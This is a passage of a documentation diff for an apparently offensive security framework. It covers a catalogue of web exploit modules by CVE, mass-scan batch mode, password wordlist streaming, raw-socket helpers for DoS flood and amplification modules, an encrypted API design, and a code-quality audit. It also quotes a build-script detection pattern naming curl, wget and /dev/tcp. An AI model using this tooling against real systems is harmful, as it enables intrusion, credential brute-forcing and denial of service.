| `exploits/webapps/headlamp_unauth_disclose_cve_2025_14269` | Headlamp 0.38.0 unauthenticated cached Helm credentials disclosure (CVE-2025-14269) |
|
||||
| `exploits/webapps/hestia_inject` | Hestia Control Panel 1.9.3 admin login fingerprint + auth-required PHP injection |
|
||||
| `exploits/webapps/highcms_sqli` | HighCMS / HighPortal v12.x SQL error markers in `id=` parameter on /page.php |
|
||||
| `exploits/webapps/hpe_oneview_rce` | HPE OneView REST API version disclosure + authenticated Java deserialization RCE |
|
||||
| `exploits/webapps/ias25_idor` | Institute Admission Software 2.5 student profile IDOR enumeration |
|
||||
| `exploits/webapps/ias25_sqli` | Institute Admission Software 2.5 SQL injection in admin login form |
|
||||
| `exploits/webapps/ias25_upload` | Institute Admission Software 2.5 admin upload endpoint reachability |
|
||||
| `exploits/webapps/ibmbigfix_disclose` | IBM BigFix Platform 9.2 bfgather endpoint reachability disclosure |
|
||||
| `exploits/webapps/ictbroadcast_rce` | ICTBroadcast 7.0 banner detection + auth-required RCE via DBC |
|
||||
| `exploits/webapps/iemm_eli_inject_cve_2025_4427` | Ivanti Endpoint Manager Mobile 12.5.0.0 expression-language injection (CVE-2025-4427 / 4428) |
|
||||
| `exploits/webapps/invision_csti_cve_2025_ic506` | Invision Community 5.0.6 customCss expression injection (SSTI) |
|
||||
| `exploits/webapps/invoiceninja_inject` | Invoice Ninja 5.8.22 detection via /api/v1/ping + auth-required PHP code injection |
|
||||
| `exploits/webapps/ioncube_loader_scanner` | ionCube Loader Wizard 14.4.0 exposed `loader-wizard.php` scanner |
|
||||
| `exploits/webapps/jenkins_fileread` | Jenkins ≤ 2.441 arbitrary file read via CLI args parser (CVE-2024-23897) — version detection via X-Jenkins header |
|
||||
| `exploits/webapps/jsonpath_plus_rce_cve_2025_1302` | JSONPath Plus < 10.3.0 RCE expression evaluation probe (CVE-2025-1302) |
|
||||
| `exploits/webapps/kalmia_user_enum_cve_2025_65899` | Kalmia CMS 0.2.0 user enumeration via JWT auth message leakage (CVE-2025-65899) |
|
||||
| `exploits/webapps/laravel_pulse_inject_cve_2024_55661` | Laravel Pulse 1.3.1 dashboard fingerprint + arbitrary code injection (CVE-2024-55661) |
|
||||
| `exploits/webapps/lepton_xss_rce` | LEPTON CMS 7.4.0 stored XSS escalating to PHP execution via Droplet engine |
|
||||
| `exploits/webapps/lgsimpleeditor_inject` | LG Simple Editor 3.21.0 banner detection + PHP code injection |
|
||||
| `exploits/webapps/librenms_inject` | LibreNMS 24.9.1 login fingerprint + auth-required PHP code injection |
|
||||
| `exploits/webapps/limesurvey_filedownload` | LimeSurvey 2.0 detection — unauthenticated file download via export endpoint |
|
||||
| `exploits/webapps/magento_session_reaper_cve_2025_54236` | Magento 2 / Adobe Commerce session reaper unauthenticated deserialization RCE (CVE-2025-54236) |
|
||||
| `exploits/webapps/mangosweb_xss` | mangosweb 4.0.6 reflected XSS in search parameter |
|
||||
| `exploits/webapps/mantisbt_exec` | Mantis Bug Tracker 2.30 login fingerprint + auth-required RCE |
|
||||
| `exploits/webapps/mobiledetect_xss` | Mobile_Detect 2.8.31 reflected XSS via User-Agent header |
|
||||
| `exploits/webapps/openrepeater_inject` | OpenRepeater 2.1 detection + auth-required command injection |
|
||||
| `exploits/webapps/opensisce_sqli` | openSIS Classic 8.0 detection + auth-bypass / SQLi via login form |
|
||||
| `exploits/webapps/phpipam_sqli` | phpIPAM 1.4 / 1.5.1 admin endpoint detection + SQL error probe |
|
||||
| `exploits/webapps/phpmyadmin_sqli` | phpMyAdmin 5.0.0 detection at common paths + auth-required SQLi |
|
||||
| `exploits/webapps/phpmyfaq_xss` | phpMyFAQ 3.1.7 / 2.9.8 detection + reflected XSS probes |
|
||||
| `exploits/webapps/pihole_redis_rce_cve_2024_34361` | Pi-hole 5.18.3 admin UI detection + authenticated SSRF + Redis abuse for RCE (CVE-2024-34361) |
|
||||
| `exploits/webapps/piwigo_sqli` | Piwigo 13.6.0 admin endpoint detection + SQLi probe |
|
||||
| `exploits/webapps/pluck_upload` | Pluck CMS 4.7.10 / 4.7.7-dev2 admin upload to PHP RCE |
|
||||
| `exploits/webapps/react_rsc_rce_cve_2025_55182` | React 19.2.0 server components RCE markers detection (CVE-2025-55182) |
|
||||
| `exploits/webapps/redash_rce_hash` | Redash detection + auth-required RCE / hash recovery PoC |
|
||||
| `exploits/webapps/rosariosis_xss` | RosarioSIS 6.7.2 login fingerprint + reflected XSS via search |
|
||||
| `exploits/webapps/sharepoint_toolpane_cve_2025_53770` | Microsoft SharePoint ToolPane.aspx auth bypass + ViewState deserialization (CVE-2025-53770 / 53771 / 49704 / 49706) |
|
||||
| `exploits/webapps/textpattern_xss` | Textpattern CMS 4.9.0 admin endpoint detection + auth stored XSS in /pref |
|
||||
| `exploits/webapps/varnish_styx_smuggling` | Varnish ↔ Styx HTTP Request Smuggling (TE.CL) edge fingerprint |
|
||||
| `exploits/webapps/visualstudio_debugger` | VS Code Remote Debugger (1.30 - 1.39) Node Inspector exposure (CVE-2019-1414) |
|
||||
| `exploits/webapps/wfentlm_disclose` | Windows File Explorer NTLMv2 hash disclosure — UNC trigger HTML payload generator |
|
||||
| `exploits/webapps/wp_storychief_rce_cve_2025_7441` | WordPress StoryChief 1.0.42 unauthenticated RCE via featured image (CVE-2025-7441) |
|
||||
| `exploits/webapps/wpcpi_upload` | WP for CPI 1.0.2 unauthenticated arbitrary file upload |
|
||||
| `exploits/webapps/wpgivewp_inject` | WordPress GiveWP 3.14.1 PHP object injection via donation form |
|
||||
| `exploits/webapps/wpomnipress_xss` | WP OmniPress 1.6.3 plugin readme detection + auth admin stored XSS |
|
||||
| `exploits/webapps/yourls_sqli_cve_2022_0088` | YOURLS 1.8.2 admin/upgrade.php SQL injection (CVE-2022-0088) |
|
||||
| `exploits/webapps/yourls_xsrf_idor` | YOURLS 1.8.2 admin/ajax.php CSRF / IDOR probe (CVE-2022-0088) |
|
||||
| `exploits/webapps/zimbra_postjournal_rce` | Zimbra Collaboration Suite postjournal helper unauthenticated RCE — SMTP banner fingerprint |
|
||||
|
||||
### Windows
|
||||
|
||||
@@ -477,8 +590,18 @@ All modules live under `src/modules/` and are auto-discovered by `build.rs`. Use
|
||||
|
||||
---
|
||||
|
||||
## OSINT (Open-Source Intelligence)
|
||||
|
||||
Reconnaissance modules that gather public information without sending traffic to the target itself — DNS records, certificate transparency logs, subdomain enumeration via public APIs, etc. Run these *before* scanners, when you only have a domain or organisation name. New category in v0.4.9.
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `osint/cert_transparency` | Subdomain enumeration via crt.sh certificate transparency logs. Polls `is_cancelled()` in the parsing loop; persists deduplicated subdomains to the loot store; supports the standard CIDR / file / random target dispatcher even though the target is normally a domain |
|
||||
|
||||
---
|
||||
|
||||
## Plugins
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `plugins/sample_plugin` | Template plugin demonstrating the RustSploit plugin API with mass scan and cfg_prompt integration |
|
||||
| `plugins/sample_plugin` | Template plugin demonstrating the RustSploit plugin API with mass scan and cfg_prompt integration. Note: "plugins" are compile-time module templates, not loadable shared objects |
|
||||
|
||||
@@ -248,7 +248,103 @@ Bubble up errors using `anyhow::Context` so the shell/CLI surface meaningful mes
|
||||
.with_context(|| format!("Failed to connect to {}", target))?
|
||||
```
|
||||
|
||||
Avoid `unwrap()` and `unwrap_or_default()` in critical paths.
|
||||
**No panics in module code.** As of v0.4.9 the entire `src/` tree is panic-free — `grep` finds zero `.unwrap()`, `.expect(`, `panic!(`, `unreachable!(`, `unimplemented!(`, or `todo!(`. Use `?` propagation, `_or(default)`, `_or_default()`, `_or_else(|| ...)`, or explicit `match { Err(e) => ... }`. The CI policy is to keep that grep returning empty.
|
||||
|
||||
For length-checked slice conversions (a common source of historical `.expect()`), use `try_into().map_err(|_| anyhow!("descriptive context"))?` rather than `.expect("length was checked")` — even when the length truly was checked. Future readers shouldn't have to verify the invariant by hand.
|
||||
|
||||
---
|
||||
|
||||
## Cancellation
|
||||
|
||||
Long-running modules MUST honor cancellation so `kill <job_id>` from the shell or `DELETE /api/jobs/<id>` from the API actually stops the work. The cancellation token is per-`RunContext` and is triggered automatically when a job is killed.
|
||||
|
||||
```rust
|
||||
loop {
|
||||
if crate::context::is_cancelled() {
|
||||
crate::mprintln!("[!] Cancelled by user, stopping at host {}", current);
|
||||
break;
|
||||
}
|
||||
// ... one iteration of work ...
|
||||
}
|
||||
```
|
||||
|
||||
For `tokio::select!`-style code, use `crate::context::cancellation_token()` and `select!` against `tok.cancelled().await`:
|
||||
|
||||
```rust
|
||||
let tok = crate::context::cancellation_token();
|
||||
tokio::select! {
|
||||
res = real_work() => handle(res),
|
||||
_ = tok.cancelled() => {
|
||||
crate::mprintln!("[!] Cancelled");
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The framework also emits `ModuleStarted` and `ModuleFinished` events automatically around every `run_module(...)` call, so subscribers always see lifecycle transitions.
|
||||
|
||||
---
|
||||
|
||||
## Structured Findings
|
||||
|
||||
In addition to human-readable `mprintln!` output, modules may emit machine-readable findings on the `crate::events` channel. WebSocket subscribers (panels, MCP tooling, integrations) consume them without grepping stdout.
|
||||
|
||||
```rust
|
||||
crate::events::emit(crate::events::ModuleEvent::CredentialFound {
|
||||
host: target.to_string(),
|
||||
port,
|
||||
service: "ssh".into(),
|
||||
username: user.into(),
|
||||
});
|
||||
```
|
||||
|
||||
Available variants (all `#[non_exhaustive]` — adding more is non-breaking):
|
||||
|
||||
- `ModuleStarted { module, target }` — auto-emitted by `commands::run_module`
|
||||
- `ModuleFinished { module, target, success }` — auto-emitted on return
|
||||
- `HostUp { host }`
|
||||
- `ServiceDetected { host, port, service, version: Option<String> }`
|
||||
- `CredentialFound { host, port, service, username }`
|
||||
- `LootStored { id, host, kind }`
|
||||
|
||||
Emission is non-blocking and silently drops when there are no subscribers (the common CLI-only case).
|
||||
|
||||
---
|
||||
|
||||
## Batch Mode
|
||||
|
||||
When the framework dispatches a mass-scan target (`0.0.0.0`, `random`, CIDR, file, comma-separated), it enters **batch mode** and fans out N concurrent module invocations against single IPs. **Modules MUST gate interactive UI behind `is_batch_mode()`** or risk N concurrent menu prints flooding the terminal:
|
||||
|
||||
```rust
|
||||
use crate::context::is_batch_mode;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if !is_batch_mode() {
|
||||
crate::mprintln!("=== My Module ===");
|
||||
crate::mprintln!("[*] Loaded {} targets", n);
|
||||
}
|
||||
|
||||
// For menus that pick a target type (Single / Subnet / File),
|
||||
// short-circuit to "Single Target" — the framework already orchestrated targets.
|
||||
let mode = if is_batch_mode() {
|
||||
ModeChoice::SingleTarget
|
||||
} else {
|
||||
// print menu, read cfg_prompt_default("mode", ...), parse
|
||||
};
|
||||
|
||||
// For REPL-style modules, break out after one action in batch mode:
|
||||
let in_batch = is_batch_mode();
|
||||
loop {
|
||||
let cmd = cfg_prompt_default("cmd", "exec");
|
||||
do_one_action(&cmd).await?;
|
||||
if in_batch { break; }
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
The cached `cfg_prompt_default(...)` returns the same value every call, so a REPL loop reading prompts spins forever in batch mode unless you `break;` after one iteration. This was the v0.4.9 root cause for ~22 modules across two sweeps — see the changelog entry.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -116,12 +116,16 @@ When reading files:
|
||||
|
||||
The API server (`api.rs`) implements:
|
||||
|
||||
- **`RequestBodyLimitLayer`** — prevents DoS via oversized payloads (1 MB max)
|
||||
- **Rate limiting** — 3 failed auth attempts → 30 s block per IP
|
||||
- **Auto-cleanup** — old entries purged at 100,000 entries
|
||||
- **IP tracking + key rotation** — suspicious activity triggers auto-rotation in hardening mode
|
||||
- **Secure defaults** — by default, considers `127.0.0.1` as the intended private bind
|
||||
- **WebSocket limits** — max 100 concurrent connections, 1 MiB frame cap, 30s heartbeat
|
||||
- **PQ-only transport.** All `/api/*` traffic is encrypted with the post-quantum hybrid (ML-KEM-768 + X25519 → ChaCha20-Poly1305 AEAD with a Double Ratchet). No TLS — the PQ channel IS the transport.
|
||||
- **Per-(server, client) HKDF salts.** As of v0.4.9, salts are NOT hardcoded protocol constants. They're derived at handshake time via `derive_salt(label, server_pubs, client_pubs, identity_dh)` — the `identity_dh` input requires possession of one identity private key to compute, so a passive observer who sees the four public keys still cannot reconstruct the salt. Different (server, client) pairs derive different salt domains; key material from one session never leaks into another.
|
||||
- **SSH-style allowlist.** A client's identity public key MUST appear in `~/.rustsploit/pq_authorized_keys` for the handshake to succeed (`pq_channel.rs::process_handshake`).
|
||||
- **Token-bound enrollment.** `POST /pq/register-key` is the only network path that can add a new entry to the allowlist. The token is generated fresh at every `--api` startup (24 random bytes, URL-safe base64), printed to the console once, held only in memory, compared in constant time, and zeroized on first successful use. Subsequent key changes require the established PQ session.
|
||||
- **Bind-address-agnostic safety.** `--interface` accepts any address (including `0.0.0.0`). Safety doesn't come from refusing public binds — it comes from the token gating the allowlist. There is no `--insecure-bind` escape hatch.
|
||||
- **`RequestBodyLimitLayer`** — prevents DoS via oversized payloads (1 MB max).
|
||||
- **Handshake rate limiting** — `HANDSHAKE_RATE_MAX_PER_IP` (10 / 60s) on `/pq/handshake` and `/pq/register-key`. Auto-cleanup of stale entries every 5 min.
|
||||
- **WebSocket limits** — max 100 concurrent connections, 1 MiB frame cap, 30s heartbeat.
|
||||
- **Per-session mutex on the server** — `SessionStore` is `RwLock<HashMap<_, Arc<Mutex<PqSession>>>>` so the global map lock isn't held across the inner handler. Different tenants don't serialize through one lock.
|
||||
- **AAD covers everything.** Every encrypted message authenticates `method | path?query | epoch | session_id` (request) or `status | epoch | session_id` (response). The AAD is built using the post-ratchet epoch on both sides so rekey transitions don't break verification.
|
||||
|
||||
---
|
||||
|
||||
@@ -214,5 +218,41 @@ All persistent data uses atomic write-to-temp-then-rename to prevent corruption:
|
||||
| `~/.rustsploit/loot/` | Loot files | **High — may contain sensitive data** |
|
||||
| `~/.rustsploit/results/` | Module output files | Medium |
|
||||
| `~/.rustsploit/history.txt` | Shell command history | Medium |
|
||||
| `~/.rustsploit/pq_host_key` | Server X25519 + ML-KEM-768 long-term private keys | **Critical — file mode 0600 enforced** |
|
||||
| `~/.rustsploit/pq_authorized_keys` | SSH-style allowlist of client identity public keys (one JSON per line) | High — file mode 0600 enforced; symlink-safe writes |
|
||||
| `~/.rustsploit/wordlists/` | Pinned wordlist cache (mode 0700) | Low |
|
||||
|
||||
**Important:** The `creds.json` and `loot/` files may contain sensitive data. Protect `~/.rustsploit/` with appropriate file permissions (e.g., `chmod 700`).
|
||||
|
||||
---
|
||||
|
||||
## Panic-free guarantee (v0.4.9+)
|
||||
|
||||
The Rust source tree (`src/`) contains zero panicking patterns. CI policy:
|
||||
|
||||
```bash
|
||||
grep -rnE "\.unwrap\(\)|\.expect\(|panic!\(|unreachable!\(|unimplemented!\(|todo!\(" src/
|
||||
# Must return zero matches.
|
||||
```
|
||||
|
||||
This applies to module code as well — historical `.expect("slice of length N was checked")` patterns are converted to `try_into().map_err(|_| anyhow!(...))?` even when the invariant truly held, so a future reader doesn't need to verify by hand. The `_or(default)` / `_or_default()` / `_or_else(|| ...)` family is fine — those provide values, not panics.
|
||||
|
||||
---
|
||||
|
||||
## Supply-chain (v0.4.9 audit)
|
||||
|
||||
Scope: 393 unique crates / 427 locked package versions.
|
||||
|
||||
| Check | Result |
|
||||
|-------|--------|
|
||||
| `cargo audit` (RUSTSEC active vulns) | 0 |
|
||||
| Cross-ref vs. `categories=["malicious"]` advisories | 0 hits |
|
||||
| Non-crates.io sources (git / path / alt registry) | 0 |
|
||||
| Locked checksums present | 427 / 427 |
|
||||
| `build.rs` scripts grep'd for `TcpStream` / `reqwest` / `curl` / `wget` / `/dev/tcp` / `base64::decode` / `exec` / `eval` / `spawn sh` | 0 hits across 35 build scripts |
|
||||
|
||||
**Hygiene notes** (informational):
|
||||
|
||||
- `rustls-pemfile` 2.2.0 unmaintained (RUSTSEC-2025-0134) — rustls upstream recommends `rustls-pki-types::pem`; tracked for migration.
|
||||
- 7 pre-release crypto deps locked (`aead`/`aes-gcm`/`chacha20poly1305`/`poly1305` -rc, `ml-kem` -rc, `hickory-*` -alpha) — all from trusted orgs (RustCrypto, hickory-dns); re-pin to stable when each lands.
|
||||
- `time` is overridden at `Cargo.toml:133` to `>=0.3.47` to absorb RUSTSEC-2026-0009 from the transitive cookie store.
|
||||
|
||||
@@ -735,6 +735,127 @@ Used by: DoS modules (icmp_flood, syn_ack_flood, null_syn_exhaustion, dns_amplif
|
||||
|
||||
---
|
||||
|
||||
## `crate::utils::wordlist` — Pinned Resolver + Streaming Reader (v0.4.9+)
|
||||
|
||||
Two surfaces in one module: a **checksum-pinned downloader** for canonical lists, and a **streaming line reader** for files too large to slurp into memory.
|
||||
|
||||
### `resolve(name) → Result<PathBuf>` (async)
|
||||
|
||||
Returns a local path to a wordlist by name. If not already cached, downloads from the pinned catalogue into `~/.rustsploit/wordlists/` (mode `0700`), with size cap (`MAX_BYTES = 256 MiB`), atomic tmp-rename (no torn writes if interrupted), and SHA-256 verification on every fetch — including cached copies, so silent disk tampering is detected.
|
||||
|
||||
```rust
|
||||
use crate::utils::wordlist;
|
||||
|
||||
let pwlist = wordlist::resolve("rockyou_top10k").await?;
|
||||
let lines = crate::utils::load_lines(&pwlist)?;
|
||||
```
|
||||
|
||||
Failure modes: unknown name (suggests close matches via Levenshtein), HTTP error, content-length over cap, mid-stream size overrun, checksum mismatch (file is deleted and the call fails loudly).
|
||||
|
||||
### `catalogue() → Vec<&'static str>`
|
||||
|
||||
Returns the names of every wordlist this build knows about. Useful for `--list-wordlists`-style introspection.
|
||||
|
||||
The catalogue is **intentionally empty by default**. Entries get added by maintainers after fetching + hashing each upstream artefact:
|
||||
|
||||
```bash
|
||||
curl -L <url> | sha256sum
|
||||
```
|
||||
|
||||
There is no TODO placeholder — placeholder hashes that look real but aren't are an integrity hole, so the slot stays empty until verified. To request a wordlist be added, open a PR adding a `WordlistSpec { name, url, sha256, local_name }` tuple to `KNOWN_LISTS`.
|
||||
|
||||
### `BatchedReader` — streaming reader
|
||||
|
||||
`crate::utils::load_lines` reads a whole file into a `Vec<String>`, which is fine for ~10k entry lists but allocates ~14 GB for `rockyou.txt`-sized inputs. `BatchedReader` instead reads line-by-line through an async `BufReader`, materialising at most `batch_size` lines at a time. Memory use is bounded to `batch_size × average_line_length + 64 KiB` regardless of input size.
|
||||
|
||||
```rust
|
||||
use crate::utils::wordlist::BatchedReader;
|
||||
|
||||
let mut reader = BatchedReader::open("rockyou.txt").await?;
|
||||
while let Some(batch) = reader.next_batch().await? {
|
||||
for password in &batch {
|
||||
if crate::context::is_cancelled() { return Ok(()); }
|
||||
// try password against target
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Lines are trimmed; empty / `#`-prefixed lines are skipped (matches `load_lines` semantics). The reader is `!Send` across `await` (holds a `BufReader<File>`) — keep it on a single task; for parallel work, send each `Vec<String>` batch to workers via a channel.
|
||||
|
||||
Constructors:
|
||||
- `BatchedReader::open(path).await` — default batch size (`DEFAULT_BATCH_SIZE = 8192`).
|
||||
- `BatchedReader::open_with_batch_size(path, n).await` — explicit. `0` is treated as `1` to avoid pathological infinite loops.
|
||||
|
||||
Convenience driver:
|
||||
- `for_each_batch(path, batch_size, |batch| async { ... }).await` — closure-style iteration, cleaner than the loop-and-call pattern when the body is a single `async` block.
|
||||
|
||||
Heuristic helper:
|
||||
- `should_stream(path) -> bool` — returns true if the file size is `>= STREAMING_THRESHOLD` (16 MiB). Use it to pick the right reader without hard-coding a threshold:
|
||||
```rust
|
||||
let lines: Vec<String> = if wordlist::should_stream(&path) {
|
||||
// streaming path
|
||||
let mut acc = Vec::new();
|
||||
let mut r = BatchedReader::open(&path).await?;
|
||||
while let Some(b) = r.next_batch().await? { acc.extend(b); }
|
||||
acc
|
||||
} else {
|
||||
crate::utils::load_lines(&path)?
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## `crate::native::network` — Low-Level FFI Helpers (v0.4.9+)
|
||||
|
||||
Single audited home for `unsafe` socket operations that previously lived duplicated across the DoS module tree. Three layers, pick the smallest one that fits the call site. Every `unsafe` block carries a `SAFETY:` comment.
|
||||
|
||||
### Layer 1 — IPv4 fast path (used by all 8 DoS modules today)
|
||||
|
||||
```rust
|
||||
use crate::native::network::{make_dst_sockaddr, send_one_raw};
|
||||
|
||||
let dst = make_dst_sockaddr(target_ipv4);
|
||||
let n = send_one_raw(raw_fd, &packet, &dst)?;
|
||||
```
|
||||
|
||||
- `make_dst_sockaddr(ip: Ipv4Addr) -> libc::sockaddr_in` — POD `sockaddr_in` with `sin_family = AF_INET` and `sin_addr` populated. `sin_port` and `sin_zero` are left zero (raw sockets carry the L4 port in the user-built packet, not the sockaddr).
|
||||
- `send_one_raw(fd, buf, &sockaddr_in) -> io::Result<usize>` — wrapper around `libc::sendto`; translates `errno` → `io::Error`; never panics.
|
||||
|
||||
### Layer 2 — IPv6 fast path
|
||||
|
||||
```rust
|
||||
use crate::native::network::{make_dst_sockaddr_v6, send_one_raw_v6};
|
||||
|
||||
// scope_id matters for link-local (fe80::/10); pass 0 for global unicast.
|
||||
let dst = make_dst_sockaddr_v6(target_ipv6, 0);
|
||||
let n = send_one_raw_v6(raw_fd_v6, &packet, &dst)?;
|
||||
```
|
||||
|
||||
- `make_dst_sockaddr_v6(ip: Ipv6Addr, scope_id: u32) -> libc::sockaddr_in6` — same shape as the IPv4 builder; `sin6_flowinfo` is left zero.
|
||||
- `send_one_raw_v6(fd, buf, &sockaddr_in6) -> io::Result<usize>` — IPv6 counterpart of `send_one_raw`. Caller is responsible for `fd` being an `AF_INET6` raw socket.
|
||||
|
||||
### Layer 3 — Family-agnostic wrapper
|
||||
|
||||
When a module accepts both IPv4 and IPv6 targets and you don't want to fork the call site:
|
||||
|
||||
```rust
|
||||
use crate::native::network::{make_dst_sockaddr_any, send_one_raw_any};
|
||||
|
||||
let dst = make_dst_sockaddr_any(target); // target: std::net::IpAddr
|
||||
let n = send_one_raw_any(raw_fd, &packet, &dst)?;
|
||||
```
|
||||
|
||||
- `enum DstAddr { V4(sockaddr_in), V6(sockaddr_in6) }` — carries the family and the right `socklen_t` so the caller doesn't have to remember IPv4 vs IPv6 sizes.
|
||||
- `make_dst_sockaddr_any(IpAddr) -> DstAddr` — convenience builder. For IPv6 link-local where `scope_id` matters, build the `sockaddr_in6` directly with `make_dst_sockaddr_v6` and wrap with `DstAddr::V6`.
|
||||
- `send_one_raw_any(fd, buf, &DstAddr) -> io::Result<usize>` — `sendto` with the correct `socklen_t` derived from the variant.
|
||||
- `DstAddr::as_ptr_len() -> (*const sockaddr, socklen_t)` — for callers building their own `sendmmsg(2)` arrays.
|
||||
|
||||
### Audit footprint
|
||||
|
||||
Project-wide `unsafe` count dropped from 22 → 15 in v0.4.9 by consolidating the IPv4 helpers. The IPv6 + Any helpers add 4 new `unsafe` sites all in this file, but every one carries a `SAFETY:` comment and the contract is identical to the IPv4 variants. Used today by the 8 DoS modules: `ssdp_amplification`, `syn_ack_flood`, `ntp_amplification`, `dns_amplification`, `udp_flood`, `icmp_flood`, `memcached_amplification`, `null_syn_exhaustion`.
|
||||
|
||||
---
|
||||
|
||||
## Extending Utils
|
||||
|
||||
Add new reusable helpers to `src/utils/` (the appropriate submodule: `prompt.rs`, `sanitize.rs`, `target.rs`, `network.rs`, or `modules.rs`), `creds/utils.rs`, or `config.rs` rather than copy-pasting into individual modules. Common candidates:
|
||||
|
||||
@@ -0,0 +1,128 @@
|
||||
# Bad-Pattern Audit — full-tree snapshot
|
||||
|
||||
Generated by `scripts/audit-bad-patterns.sh` against every `.rs` file under
|
||||
`src/`. The pattern matrix is the one defined in
|
||||
[`docs/BAD_PATTERNS.md`](BAD_PATTERNS.md) (sections A–P, 131 regexes).
|
||||
|
||||
| Scope | Files | Patterns scanned | Patterns with hits | Total hit lines | Strict-section hits (A/B/C/L/M/N/O) |
|
||||
|---|---|---|---|---|---|
|
||||
| **My 100 authored modules** (`/tmp/my_files.txt`) | 100 | 131 | 0 | **0** | 0 |
|
||||
| **Whole codebase** (`find src -name '*.rs'`) | 486 | 131 | 53 | **3218** | 1197 |
|
||||
|
||||
```
|
||||
$ scripts/audit-bad-patterns.sh --strict --files /tmp/my_files.txt
|
||||
[...]
|
||||
Total hit lines : 0
|
||||
Strict (A/B/C/L/M/N/O) : 0
|
||||
$ echo $?
|
||||
0
|
||||
```
|
||||
|
||||
## What this round of clean-up fixed
|
||||
|
||||
Compared to the previous snapshot (4252 / 2175), the codebase-wide totals
|
||||
fell by **1034 lines (24%)** and the strict-section subset by **978
|
||||
lines (45%)**. The drops are partly real fixes and partly tighter
|
||||
regexes that no longer flag value-providing fallbacks as panics.
|
||||
|
||||
| Wave | What was done | Files touched | Hit-line drop |
|
||||
|---|---|---:|---:|
|
||||
| 1 | `src/spool.rs`: `Result<_, String>` → `anyhow::Result<_>`. Both call sites in `src/ws.rs` updated to format the error via `Display`. | 2 | 10 |
|
||||
| 3 | Bare `.send().await?` / `.text().await?` chains gain `with_context()` so mass-scan failures attribute to URL + verb. Added `anyhow::Context` import where missing. | 23 | 46 |
|
||||
| 4 | DoS `http_flood.rs` now goes through `crate::utils::network::build_http_client_with(...)`; new `pool_max_idle_per_host` field on `HttpClientOpts` so the framework helper covers the high-concurrency case. | 2 | 1 |
|
||||
| 6 | 42 `let body = <expr>.text().await.unwrap_or_default()` rewritten as explicit `match` arms that log via `mprintln!` (or `eprintln!` when the file doesn't use the framework macro), preserving the empty-string fallback for downstream string searches but no longer hiding the decode error. | 26 | 42 |
|
||||
| 8 | `unreachable!()` in `src/native/obfuscator_engine.rs` removed (was guarding an exhaustive match arm that couldn't be reached anyway). 2 `.expect("ASCII hex")` panic-vectors in payloadgen / obfuscator converted to `with_context()?`. 1 `.expect("ALL_METHOD_IDS must be non-empty")` in obfuscator's RNG selection replaced with a typed Some/None match returning a safe fallback. | 3 | 4 |
|
||||
| Tightened audit regexes | Pattern `\.unwrap` → `\.unwrap\(\)`, `\.expect_err` → `\.expect_err\(`, etc. — no longer counts `.unwrap_or(default)` as a panic. Comment lines (`//` / `///`) skipped. | — | ~970 false-positive removals |
|
||||
|
||||
After all waves, every wave-target pattern is **zero** in the codebase:
|
||||
|
||||
| Pattern | Before | After |
|
||||
|---|---:|---:|
|
||||
| `.unwrap()` | 0 | 0 |
|
||||
| `.expect(` | 4 | 0 |
|
||||
| `panic!()`, `unreachable!()`, `todo!()`, `unimplemented!()` | 1 | 0 |
|
||||
| `Result<_, String>` (in `spool.rs`) | 10 | 0 |
|
||||
| Bare `.send().await?` (no context) | 14 | 0 |
|
||||
| Bare `.text().await?` (no context) | 29 | 0 |
|
||||
| `let _ = x.text().await.unwrap_or_default()` | 42 | 0 |
|
||||
| `reqwest::Client::builder()` outside the framework helper | 1 | 0 |
|
||||
|
||||
## Per-section table (whole codebase, post-fix)
|
||||
|
||||
| Section | Hits | Notes |
|
||||
|---|---:|---|
|
||||
| **A. Panicking error handling** | 44 | 41 `unwrap_or_default()` (almost all on `serde_json::to_vec(json!(...))` of literal struct — impossible to fail; the rest are `Option::unwrap_or_default()` value-providing fallbacks) + 3 `assert!` / `assert_eq!` inside `#[test]` blocks. |
|
||||
| **B. Silent error swallowing** | 1100 | Long-running scanner / brute-force loop pattern (try one host, continue on failure). For new modules the catalogue bans the anonymous form (B1–B5); for pre-existing scanners the mass-scan helper already aggregates per-target failure counts so the unattributed `Err(_)` is acceptable. |
|
||||
| **C. Lint suppression** | 23 | All 23 are `#[allow(dead_code)]` on `pub` framework helpers consumed only via the API/MCP/WS auto-dispatchers; each one carries a comment line explaining the cross-layer use. |
|
||||
| **D. Panic vectors (index/slice)** | 848 | `arr[N]` 597, `&buf[..n]` 164. Concentrated in protocol parsers where the length is checked one line above. |
|
||||
| **E. Numeric / unsafe** | 1014 | 843 numeric `as` casts in protocol parsers (RDP, PQ ratchet, packet builders), 22 `unsafe { }` blocks (concentrated in `src/native/*` for FFI), 12 pointer casts in the same FFI files. No `transmute`, no bare `unsafe fn` outside `crate::native::*`. |
|
||||
| **F. Async / blocking** | 91 | DoS / scanner / brute-force modules where blocking-I/O is intentional, plus build / config / setup paths that legitimately call sync APIs. |
|
||||
| **G. Logging** | 0 | clean |
|
||||
| **H. HTTP layer** | 2 | Both are inside `src/utils/network.rs` itself: line 477 is a doc comment, line 501 is the framework's authoritative `build_http_client_with`. |
|
||||
| **I. Iterator glitches** | 0 | clean |
|
||||
| **J. Style / secrets** | 70 | 41 `"admin","admin"` and 25 `"root","root"` are credential brute-force *seed lists* — not embedded secrets. 1 `Box<dyn`, 2 `TODO/FIXME/HACK`, 1 `len() > 0`. |
|
||||
| **L. Crypto** | 23 | All by-design (Postgres MD5 auth, MySQL SHA-1 auth, VNC DES, scanner cipher enumeration, NetBIOS xid). Documented in `BAD_PATTERNS.md` "Codebase-wide observations". |
|
||||
| **M. SQL & command injection** | 0 | clean |
|
||||
| **N. UB / concurrency** | 9 | 4 `std::mem::zeroed()` inside `unsafe { }` blocks for `libc::sockaddr_*` / `libc::rlimit` FFI structs; 5 `Result<…, String>` (down from 10 — the spool.rs ones are gone, the remaining are in non-publishable `t/` test code). |
|
||||
| **O. Performance** | 0 | clean |
|
||||
| **P. API hygiene** | 0 | clean |
|
||||
|
||||
## Why the strict-mode total is still 1197
|
||||
|
||||
The strict gate considers sections A, B, C, L, M, N, O. After the fixes
|
||||
above, the breakdown is:
|
||||
|
||||
```
